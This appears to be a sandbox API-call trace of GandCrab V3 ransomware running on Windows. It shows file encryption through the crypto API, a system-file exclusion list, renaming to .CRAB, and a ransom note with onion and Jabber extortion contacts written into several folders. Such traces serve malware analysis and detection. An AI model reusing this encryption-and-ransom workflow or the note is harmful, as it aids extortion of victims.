	[0090.455] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.455] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0090.456] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0090.456] CryptAcquireContextW (in: phProv=0x314f2c0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314f2c0*=0xd6e408) returned 1
	[0090.457] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314f2bc | out: phKey=0x314f2bc*=0xd48400) returned 1
	[0090.457] CryptGetKeyParam (in: hKey=0xd48400, dwParam=0x8, pbData=0x314f2ac, pdwDataLen=0x314f2b4, dwFlags=0x0 | out: pbData=0x314f2ac*=0x800, pdwDataLen=0x314f2b4*=0x4) returned 1
	[0090.457] CryptEncrypt (in: hKey=0xd48400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314f41c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314f41c*=0x100) returned 1
	[0090.471] GetLastError () returned 0x0
	[0090.471] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0090.471] CryptAcquireContextW (in: phProv=0x314f2c0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314f2c0*=0xd6e5a0) returned 1
	[0090.472] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314f2bc | out: phKey=0x314f2bc*=0xd48000) returned 1
	[0090.472] CryptGetKeyParam (in: hKey=0xd48000, dwParam=0x8, pbData=0x314f2ac, pdwDataLen=0x314f2b4, dwFlags=0x0 | out: pbData=0x314f2ac*=0x800, pdwDataLen=0x314f2b4*=0x4) returned 1
	[0090.472] CryptEncrypt (in: hKey=0xd48000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314f420*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314f420*=0x100) returned 1
	[0090.472] GetLastError () returned 0x0
	[0090.472] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0090.472] CreateFileW (lpFileName="C:\\bootmgr.CRAB" (normalized: "c:\\bootmgr.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0090.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.473] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.473] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.474] MoveFileW (lpExistingFileName="C:\\bootmgr.CRAB" (normalized: "c:\\bootmgr.crab"), lpNewFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 1
	[0090.474] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.475] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.475] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.475] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1
	[0090.475] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1
	[0090.475] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT"
	[0090.475] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.475] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\BOOTNXT") returned 10
	[0090.475] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0090.475] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.475] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.476] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1
	[0090.476] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1
	[0090.476] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK"
	[0090.476] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.476] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\BOOTSECT.BAK") returned 15
	[0090.476] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0090.476] lstrlenW (lpString=".BAK") returned 4
	[0090.476] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.476] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".BAK ") returned 5
	[0090.476] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.476] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0090.476] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0090.476] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="desktop.ini") returned -1
	[0090.477] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="autorun.inf") returned 1
	[0090.477] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1
	[0090.477] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="iconcache.db") returned -1
	[0090.477] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="bootsect.bak") returned 0
	[0090.477] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.477] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.477] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.477] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.477] lstrcatW (in: lpString1="C:\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\CRAB-DECRYPT.txt") returned="C:\\CRAB-DECRYPT.txt"
	[0090.477] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.477] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\CRAB-DECRYPT.txt") returned 19
	[0090.477] lstrlenW (lpString="C:\\CRAB-DECRYPT.txt") returned 19
	[0090.477] lstrlenW (lpString=".txt") returned 4
	[0090.477] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.478] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.478] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.478] lstrlenW (lpString="C:\\CRAB-DECRYPT.txt") returned 19
	[0090.478] lstrlenW (lpString="C:\\CRAB-DECRYPT.txt") returned 19
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.478] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.478] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.478] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.478] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1
	[0090.478] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1
	[0090.478] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0090.478] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\"
	[0090.478] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.480] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.480] lstrcmpiW (lpString1="C:\\Documents and Settings\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.480] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.480] lstrcmpiW (lpString1="C:\\Documents and Settings\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.480] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.480] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\\\CRAB-DECRYPT.txt") returned 43
	[0090.481] CreateFileW (lpFileName="C:\\Documents and Settings\\\\CRAB-DECRYPT.txt" (normalized: "c:\\documents and settings\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.481] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.481] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0090.483] CloseHandle (hObject=0x3d0) returned 1
	[0090.483] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.483] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26
	[0090.483] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*"
	[0090.483] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xffffffff
	[0090.484] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.484] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1
	[0090.484] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1
	[0090.484] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys"
	[0090.484] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.484] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\hiberfil.sys") returned 15
	[0090.484] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0090.484] lstrlenW (lpString=".sys") returned 4
	[0090.484] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.485] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sys ") returned 5
	[0090.485] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.485] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.486] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.486] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1
	[0090.486] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1
	[0090.486] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys"
	[0090.486] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.486] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\pagefile.sys") returned 15
	[0090.486] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0090.486] lstrlenW (lpString=".sys") returned 4
	[0090.486] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.486] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sys ") returned 5
	[0090.487] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.487] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.487] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.487] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1
	[0090.487] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1
	[0090.487] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs"
	[0090.487] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\"
	[0090.487] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.488] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.488] lstrcmpiW (lpString1="C:\\PerfLogs\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.488] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.488] lstrcmpiW (lpString1="C:\\PerfLogs\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.488] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.488] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\PerfLogs\\\\CRAB-DECRYPT.txt") returned 29
	[0090.489] CreateFileW (lpFileName="C:\\PerfLogs\\\\CRAB-DECRYPT.txt" (normalized: "c:\\perflogs\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.490] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.490] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0090.491] CloseHandle (hObject=0x3d0) returned 1
	[0090.491] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.491] lstrlenW (lpString="C:\\PerfLogs\\") returned 12
	[0090.491] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*"
	[0090.491] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd48280
	[0090.491] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.491] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.491] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.491] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.491] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.491] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.492] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.492] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\PerfLogs\\CRAB-DECRYPT.txt") returned="C:\\PerfLogs\\CRAB-DECRYPT.txt"
	[0090.492] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.492] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\PerfLogs\\CRAB-DECRYPT.txt") returned 28
	[0090.492] lstrlenW (lpString="C:\\PerfLogs\\CRAB-DECRYPT.txt") returned 28
	[0090.492] lstrlenW (lpString=".txt") returned 4
	[0090.492] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.492] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.492] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.493] lstrlenW (lpString="C:\\PerfLogs\\CRAB-DECRYPT.txt") returned 28
	[0090.493] lstrlenW (lpString="C:\\PerfLogs\\CRAB-DECRYPT.txt") returned 28
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.493] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.493] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.493] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0090.493] FindClose (in: hFindFile=0xd48280 | out: hFindFile=0xd48280) returned 1
	[0090.493] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.493] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1
	[0090.493] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1
	[0090.493] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files"
	[0090.493] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0090.493] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.494] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.494] lstrcmpiW (lpString1="C:\\Program Files\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.494] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.494] lstrcmpiW (lpString1="C:\\Program Files\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.494] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.494] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Program Files\\\\CRAB-DECRYPT.txt") returned 34
	[0090.494] CreateFileW (lpFileName="C:\\Program Files\\\\CRAB-DECRYPT.txt" (normalized: "c:\\program files\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.495] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.495] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
